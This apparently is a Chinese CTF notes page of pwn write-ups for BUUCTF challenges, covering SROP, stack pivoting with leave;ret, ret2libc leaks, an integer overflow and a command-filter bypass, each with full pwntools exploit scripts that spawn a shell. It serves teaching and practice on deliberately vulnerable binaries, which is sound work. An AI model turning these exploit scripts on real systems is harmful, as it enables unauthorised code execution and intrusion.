pl1='a'*16+p64(sigret)+p64(sys)+str(frame)

pl2='/bin/sh\x00'*2+p64(sigret)+p64(sys)+str(frame)
p.send(pl2)
p.interactive()

参考链接

ciscn_2019_es_7

ida

image-20211009212737739

看到系统调用、mov rax,15 和溢出,想到SROP

解题思路

image-20211009213732309

就是在内核返回到用户时(sigreturn),会把原来的context(保存在栈里的Signal Frame)给复原,而Signal Frame在用户栈里,那么用户就是拥有读写权限的,里面存有rip等寄存器,所以我们刻意触发sigreturn,然后伪造Signal Frame,进而控制程序。

Signal Frame

image-20211009214543868

在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址(系统调用号为 15syscall)。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell

解题条件

  • 字符串 /bin/sh 的地址
  • syscall的地址
  • sigretn的地址

找到 /bin/sh 的地址

程序输入0x10个字节,输出0x30个字节

image-20211010150342361

在多余的输出内容当中可以看见一个内存的地址,利用它可以计算与我们输入的字符串/bin/sh之间的偏移

image-20211010150719981

偏移0x118

找到 syscall 的地址

image-20211010150832725

找到 sigretn 的地址

image-20211010150917285

execve的系统调用号也有

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

# 1 process
# 2 remote
# 3 127
debug = 1

if debug == 1 :
p = process('./ciscn_2019_es_7')
if debug == 2:
p = remote('node4.buuoj.cn',26148)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF('./ciscn_2019_es_7')

vuln_addr = 0x4004ED
syscall_ret = 0x400517
sigreturn_addr = 0x4004da # mov rax,15 ; retn

payload = '/bin/sh\x00' + p64(0) + p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
print(hex(stack_addr))

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118 # /bin/sh
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

payload = '/bin/sh\x00' + p64(0) + p64(sigreturn_addr) + p64(syscall_ret) + str(sigframe)
p.sendline(payload)

gdb.attach(p)

p.interactive()

Call rax

栈逆向

[ZJCTF 2019]Login

保护

image-20210422161136059

IDA

image-20210422161155938

给了admin和密码

运行一下

image-20210422161355739

看一下 password_checker 的汇编,发现call rax,很异或,逆向一下

image-20210422161518133

回到main函数汇编

image-20210422161844047

image-20210422161927745

在 read_password 里找到var_18

image-20210422162137124

0x60 - 0x18 = 0x48
0x48 - 14 = 58

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p = remote("node3.buuoj.cn",26218)
#p = process('./login')

payload = '2jctf_pa5sw0rd' + '\x00'*58 + p64(0x000000000400E88)

p.sendlineafter('Please enter username: ','admin')
p.sendlineafter('Please enter password: ',payload)

p.interactive()

栈迁移

leave; retn

1
2
mov esp, ebp
pop ebp
1
pop eip

构造 payload 的时候把 target_addr 放在 ebp 的位置上,leave ; rent 放在返回地址上。

执行 pop ebp 后,ebp就指向了 target_addr,并且 esp 减一个单位,esp 指向 返回地址。

_ciscn_2019_es_2

第一步:是把一个与ebp有关的地址泄漏出来,可以通过栈的填充做到

第二步:找到一个ebp与泄漏地址的偏移距离

第三步:构造fake_stack

fake_stack:

1592217825493-a03b7b13-c3d9-4411-b7af-ddaaa2a27a7f

偏移距离:

break在printf处

20201208200613

距离为0x10

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn',25520)
#p = remote('127.0.0.1',12345)
#p = process("./ciscn_2019_es_2")
context.log_level='debug'

sys_addr = 0x08048400
leave_ret = 0x080485FD

payload = 'a'*0x20+'b'*8
p.send(payload)
p.recvuntil('bbbbbbbb')
ebp = u32(p.recv(4))
print(hex(ebp))

payload1 = ('aaaa' + p32(sys_addr) + 'bbbb' + p32(ebp-0x28) + '/bin/sh\x00')
payload1 = payload1.ljust(0x28,'a')
payload1 += p32(ebp-0x28-0x10) + p32(leave_ret)
p.sendline(payload1)
p.interactive()

buu_spwn

32bit程序

看ida

20201206182837

汇编中发现 leave retn

20201206183042

leave retn:

1
2
leave ==> mov esp, ebp;  pop ebp;
retn ==> pop eip

其中pop eip相当于将栈顶数据给eip,由于ret返回的是栈顶数据,而栈顶地址是由esp的值决定的,esp的值,从leave可以得出是由ebp决定的。所以我们可以通过覆盖ebp的值来控制ret返回地址。两次leave ret即可控制esp为我们想要的地址。由于有pop ebp,会使esp-4(64位-8),将ebp 覆盖为想要调整的位置-4(64位-8)即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *

p=remote('node3.buuoj.cn',26070)
#p=process('./spwn')
elf=ELF('./spwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
bss_addr=0x0804A300
leave_ret=0x08048511

payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("What is your name?")
p.send(payload)

payload1='a'*0x18+p32(bss_addr-4)+p32(leave_ret)
p.recvuntil("What do you want to say?")
p.send(payload1)

write_addr=u32(p.recv(4))
print(hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

p.recvuntil("What is your name?")
payload=p32(sys_addr)+'aaaa'+p32(bin_addr)
p.send(payload)

p.recvuntil("What do you want to say?")
p.send(payload1)

p.interactive()

gyctf_2020_borrowstack

IDA

image-20210531154533324

仅溢出0x10字节,无法构造ROP。

程序还给了bss段,可读写

image-20210531154745045

构造 fake stack

image-20210531160601177

程序中bss段与它上方的got表字段比较近,当rop段返回到main函数的时候会 sub rsp, 60h ,有可能会覆盖掉 got 表导致程序报错,所以需要填充字段

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf-8
from pwn import *
from LibcSearcher import *
from struct import pack
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 2

if debug == 1 :
p = process('./gyctf_2020_borrowstack')
if debug == 2:
p = remote('node3.buuoj.cn',29811)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946 12345
elf = ELF('./gyctf_2020_borrowstack')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi = 0x00400703
bank_addr = 0x00601080
leave_retn = 0x0400699
ret = 0x4004c9

payload = 'A'*0x60 + p64(bank_addr) + p64(leave_retn)

p.sendafter('me what you want\n',payload)

payload2 = p64(ret)*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendafter('now!',payload2)
print(p.recvline())

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
print('puts_addr ---> ',hex(puts_addr))
libc_base = puts_addr - 0x06f690
onegadget = libc_base + 0x4526a

payload3 = 'A' * (0x68) + p64(onegadget)

p.sendafter('me what you want\n',payload3)

p.sendafter('now!','a')

p.interactive()

ciscn_s_4

IDA

image-20210720150810391

image-20210720150946310

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'i386'
context.log_level = 'debug'


# 1 pro
# 2 remote
# 3 127
debug = 1

if debug == 1 :
p = process('./ciscn_s_4')
if debug == 2:
p = remote('node4.buuoj.cn',29437)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF('./ciscn_s_4')
leave = 0x80485FD
system_plt = 0x8048400

p.recvuntil('name?\n')
payload = 'a'*0x24 + 'b'*4
p.send(payload)

p.recvuntil('bbbb')
ebp = u32(p.recv(4))
buf = ebp - 0x38
print hex(ebp)

payload = p32(system_plt) + p32(0) + p32(buf+12) + '/bin/sh\x00'
payload = payload.ljust(0x28,'\x00')
payload += p32(buf-4) + p32(leave)
p.send(payload)

p.interactive()

actf_2019_babystack

image-20211024153951978

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 3

if debug == 1 :
p = process('./ACTF_2019_babystack')
if debug == 2:
p = remote('node4.buuoj.cn',29093)
if debug == 3:
p = remote('127.0.0.1',23946)
#23946

elf = ELF('./ACTF_2019_babystack')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400ad3
main_addr = 0x0000000004008F6
leave_retn_addr = 0x000000000400A18


# gdb.attach(p,'b *0x00000000004009E4')

p.sendlineafter('>',str(0xe0))
p.recvuntil('saved at 0x')
stack_addr = int(p.recv(12),16)
# print(hex(stack_addr))
log.success('stack_addr_1: '+hex(stack_addr))

payload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(0xd0,'a')
payload += p64(stack_addr) + p64(leave_retn_addr)

p.sendafter('>',payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
# print(hex(puts_addr))
log.success('puts_addr: '+hex(puts_addr))

#########################
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
one_gadget = libc_base + 0x4f2c5
#########################

p.sendlineafter('>',str(0xe0))

p.recvuntil('saved at 0x')
stack_addr = int(p.recv(12),16)
log.success('stack_addr_2: '+hex(stack_addr))

payload = 'a'*8 + p64(one_gadget)
payload = payload.ljust(0xd0,'a')
payload += p64(stack_addr) + p64(leave_retn_addr)

p.sendafter('>',payload)

p.interactive()

整形溢出

[BJDCTF 2nd]r2t3

来自buuctf

先看ida

在这里插入图片描述

buf缓冲区大小为408h,而read读取大小为400h,比buf要小,所以不能进行简单的缓冲区栈溢出。

再看name_check函数,v3是int8类型的变量,1111 1111 = 0xFF = 255。当0xFF +1的时侯,变量发生整形溢出,0x100 = 256 此时v3的数值为零(0000 0000),但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作变成 1 0000 0000。

同时还要满足3< v3 <8 的条件,这时候可以确定溢出数值是在 0x104~0x107 中

在这里插入图片描述

后面的strcpy()函数将s复制给dest,看到dest的偏移为0x11+4

程序中给出了/bin/sh的地址

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
#context.log_level = 'debug'
r=remote('node3.buuoj.cn',26213)
sys_addr = 0x08048594
payload = 'a' * (0x15) + p32(sys_addr) + 'a' * (0x104-0x19) # 0x15 + 0x4 + n = 0x104
print(len(payload))
r.recvuntil('name:\n')
r.sendline(payload)
r.interactive()

Int8, 等于Byte, 占1个字节.

  Int16, 等于short, 占2个字节. -32768 32767

  Int32, 等于int, 占4个字节. -2147483648 2147483647

  Int64, 等于long, 占8个字节. -9223372036854775808 9223372036854775807

 这样, 看起来比short,int,long更加直观些!

   另外, 还有一个Byte, 它等于byte, 0 - 255.

  所以说这里的v3是占一个字节的,一个字节是由8位二进制决定的。

  例如:0000 0000 就是一个字节,代表0,1111 1111 也是一个字节,代表255.

命令执行

[BJDCTF 2nd]test

参考:https://blog.csdn.net/qin9800/article/details/105058058

20201223191550

ssh -p 28572 ctf@node3.buuoj.cn 链接

20201223191650

发现三个文件,flag文件无法cat

看一下c文件

20201223191806

发现是过滤命令

可以通过

ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"

查看还有什么命令是可以用的

1
2
-v 或 --revert-match : 显示不包含匹配文本的所有行。
-E 或 --extended-regexp : 将样式为延伸的正则表达式来使用。

20201223192201

可以用 od 和 x86_64

Linux od命令用于输出文件内容。

od指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。

x86_64

20201223193256

一些其他

一些 Stack 漏洞点

  • signed int类型,4字节,最大输入为2147483647,超出则为负数,若下面是unsigned int类型的数据作为read的n,则能越过前面类似if ( (signed int)nbytes > 10 )的检查
  • strcpy,字符串复制,遇到 ‘\x00’ 停止
  • strcat,字符串拼接,遇到 ‘\x00’ 停止
  • strlen,计算 ascii 字符串长度的函数,这个函数在计算字符串长度时是不把结束符 '\x00' 计算在内的
  • stcpy,在复制字符串时会拷贝结束符 '\x00',能造成 NULL byte off-by-one

一些汇编

寄存器

image-20211106141433020

  • RIP(PC)

    存放下一条指令的偏移地址

  • RSP

    存放当前栈帧的栈顶偏移地址

    低地址的一端

  • RBP

    存放当前栈帧的栈底偏移地址

    高地址的一端

    与返回地址(return address)相邻

  • RAX

    存放函数返回值

  • RCX

    存放累加器的结果

  • RDI

    存放第一个参数

  • RSI

    存放第二个参数

64位程序中函数的前6个参数使用寄存器进行存储:rdi、rsi、rdx、rcx、r8、r9

汇编指令

指令 中文名 格式 解释 备注
push 进栈
pop 出栈
LEA(load effective address) 取有效地址指令 LEA REC,OPRD 把操作数oprd的有效地址传送到操作数rec,源操作数oprd必须是一个存储器操作数,目的操作数rec必须是一个16位或32位的通用寄存器 与mov指令的区别:mov:移动地址中的值lea:将地址进行移动
CMP 比较 CMP DEST,SRC 根据dest-src的差影响各状态标志寄存器 不把dest-src的结果送入dest
JMP 无条件段内直接转移指令 JMP LABEL 使控制无条件地转移到标号为label的位置 无条件转移指令本身不影响标志
JG 大于转移 条件:ZF=0 & SF=OF 有符号数
JL 小于转移 条件:SF!=OF